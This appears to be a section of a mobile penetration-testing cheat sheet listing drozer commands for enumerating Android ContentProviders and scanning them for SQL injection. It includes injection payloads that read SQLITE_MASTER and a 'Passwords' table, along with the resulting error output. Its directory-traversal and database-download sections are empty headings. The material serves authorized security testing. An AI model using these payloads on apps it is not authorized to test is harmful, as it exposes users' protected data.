3.4.2 ContentProvider

DROZER

Info:

run app.provider.info -a com.x.x.x

Path guessing & determining accessible content:

run scanner.provider.finduris -a com.x.x.x

Use URIs from above or guess yourself: (in addition: .insert / .update / .delete)

run app.provider.query content://<URI> --vertical

Test content providers for SQL-Injection:

run scanner.provider.injection -a com.x.x.x

Find tables accessible through SQL-Injection:

run scanner.provider.sqltables -a com.x.x.x

SQLi

list all db tables

run app.provider.query content://com.x.x.x.ProviderName/path/ --prjection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.x.x.x.ProviderName/path/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
run app.provider.query content://com.x.x.x.ProviderName/path/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Example - retrieve data from otherwise protected tables:

FILESYSTEM-CP

Download db:

Find content provider that are susceptible to directory-traversal:

Example (/etc/hosts is world-readable -> no biggy)

or

ADB

THINGS TO REPORT

Last updated

Was this helpful?